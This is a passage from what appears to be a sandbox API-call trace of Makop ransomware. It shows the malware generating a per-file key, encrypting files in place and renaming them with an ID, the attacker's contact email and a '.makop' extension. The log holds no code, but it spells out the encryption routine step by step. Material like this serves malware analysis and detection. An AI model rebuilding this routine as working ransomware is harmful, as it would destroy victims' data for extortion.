lpOverlapped=0x0) returned 1 [0085.817] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.817] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.817] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x692, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x692, lpOverlapped=0x0) returned 1 [0085.817] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6a0) returned 1 [0085.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6a0, lpOverlapped=0x0) returned 1 [0085.817] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.817] SetEndOfFile (hFile=0xf0) returned 1 [0085.823] GetProcessHeap () returned 0x48a0000 [0085.823] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0085.824] GetProcessHeap () returned 0x48a0000 [0085.824] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.824] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0085.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.825] CloseHandle (hObject=0xf0) returned 1 [0085.825] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0085.825] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0085.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.826] GetProcessHeap () returned 0x48a0000 [0085.826] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.826] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.826] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.826] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0085.831] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.831] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.831] GetProcessHeap () returned 0x48a0000 [0085.831] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0085.831] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0085.831] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.831] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0085.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.831] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.832] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.832] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.832] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.832] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.832] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x566, lpOverlapped=0x0) returned 1 [0085.832] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x570, dwBufLen=0x570 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x570) returned 1 [0085.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.833] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x570, lpOverlapped=0x0) returned 1 [0085.833] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.833] SetEndOfFile (hFile=0xf0) returned 1 [0085.840] GetProcessHeap () returned 0x48a0000 [0085.840] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0085.840] GetProcessHeap () returned 0x48a0000 [0085.840] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.840] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0085.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.843] CloseHandle (hObject=0xf0) returned 1 [0085.843] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0085.843] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0085.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.849] GetProcessHeap () returned 0x48a0000 [0085.849] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.849] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.849] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.853] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.853] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.854] GetProcessHeap () returned 0x48a0000 [0085.854] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.854] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.854] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.854] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.854] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.855] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.855] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.855] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.855] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11d78, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11d78, lpOverlapped=0x0) returned 1 [0085.858] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11d80, dwBufLen=0x11d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11d80) returned 1 [0085.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11d80, lpOverlapped=0x0) returned 1 [0085.860] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.860] SetEndOfFile (hFile=0xf0) returned 1 [0085.868] GetProcessHeap () returned 0x48a0000 [0085.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.869] GetProcessHeap () returned 0x48a0000 [0085.869] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.869] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0085.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.870] CloseHandle (hObject=0xf0) returned 1 [0085.870] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0085.870] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT") returned 64 [0085.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.871] GetProcessHeap () returned 0x48a0000 [0085.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.871] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.871] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.871] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.871] GetProcessHeap () returned 0x48a0000 [0085.871] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0085.871] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0085.872] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.872] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0085.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.876] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.876] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.877] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.877] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x49f80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x49f80, lpOverlapped=0x0) returned 1 [0085.885] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x49f80, dwBufLen=0x49f80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x49f80) returned 1 [0085.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x49f80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x49f80, lpOverlapped=0x0) returned 1 [0085.890] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.890] SetEndOfFile (hFile=0xf0) returned 1 [0085.897] GetProcessHeap () returned 0x48a0000 [0085.897] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0085.897] GetProcessHeap () returned 0x48a0000 [0085.897] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.897] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0085.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.898] CloseHandle (hObject=0xf0) returned 1 [0085.898] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0085.898] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0085.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.904] GetProcessHeap () returned 0x48a0000 [0085.904] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.904] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.904] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.904] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.904] GetProcessHeap () returned 0x48a0000 [0085.904] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.905] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.905] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.905] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.908] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.908] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.909] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, 